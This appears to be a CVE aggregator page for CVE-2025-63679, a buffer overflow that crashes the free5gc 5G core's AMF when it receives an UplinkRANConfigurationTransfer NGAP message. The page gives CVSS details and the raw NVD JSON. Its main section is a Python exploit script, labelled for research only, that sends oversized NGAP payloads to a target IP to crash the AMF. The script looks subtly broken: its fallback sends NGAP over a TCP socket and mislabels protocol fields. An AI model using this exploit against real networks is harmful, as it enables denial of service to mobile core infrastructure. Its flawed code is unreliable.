Security Vulnerability Report
中文
CVE-2025-63679 CVSS 7.5 HIGH

CVE-2025-63679

Published: 2025-11-12 19:15:37
Last Modified: 2025-12-31 16:12:48

Description

free5gc v4.1.0 and before is vulnerable to Buffer Overflow. When AMF receives an UplinkRANConfigurationTransfer NGAP message from a gNB, the AMF process crashes.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:free5gc:free5gc:*:*:*:*:*:*:*:* - VULNERABLE
free5gc v4.1.0及之前所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
''' CVE-2025-63679 PoC - free5gc AMF Buffer Overflow This PoC demonstrates the UplinkRANConfigurationTransfer NGAP message that triggers buffer overflow in free5gc AMF. ''' from scapy.all import * from scapy.contrib.ngap import * def create_malicious_ngap_message(): """ Create a malicious UplinkRANConfigurationTransfer NGAP message with oversized fields to trigger buffer overflow """ # Construct NGAP UplinkRANConfigurationTransfer message # with oversized RANConfiguration parameters ngap_packet = NGAP() / NGAP_UplinkRANConfigurationTransfer() # Add oversized RAN-Configuration-Container # This field exceeds expected buffer size oversized_container = b'\x00' * 10000 # Malicious oversized data ngap_packet.RANConfigurationContainer = oversized_container return ngap_packet def send_exploit(target_ip, target_port=38412): """ Send the malicious NGAP message to free5gc AMF """ print(f"[*] Sending malicious UplinkRANConfigurationTransfer to {target_ip}:{target_port}") malicious_packet = create_malicious_ngap_message() # Send the packet (requires raw socket privileges) send(malicious_packet, verbose=0) print("[+] Malicious packet sent successfully") print("[*] AMF process should crash upon receiving this packet") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_63679_poc.py <target_ip>") sys.exit(1) target_ip = sys.argv[1] send_exploit(target_ip) # Alternative: Simple raw socket implementation def send_raw_exploit(target_ip): """ Alternative method using raw sockets """ import socket # NGAP protocol ID is 18 sctp_chunk = bytes([0x00, 0x0e]) # NGAP payload oversized_data = b'\x41' * 8192 # Trigger overflow packet = sctp_chunk + oversized_data sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, 38412)) sock.send(packet) sock.close() print("[+] Exploit sent via raw socket")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63679", "sourceIdentifier": "[email protected]", "published": "2025-11-12T19:15:37.457", "lastModified": "2025-12-31T16:12:47.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "free5gc v4.1.0 and before is vulnerable to Buffer Overflow. When AMF receives an UplinkRANConfigurationTransfer NGAP message from a gNB, the AMF process crashes."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:free5gc:free5gc:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.1.0", "matchCriteriaId": "EF0DB381-157B-4D05-B3D3-A2419F1D0E05"}]}]}], "references": [{"url": "https://gist.github.com/DDGod2025/5483d94b028d7a0c111ca23844e8a94d", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/free5gc/free5gc/issues/725", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}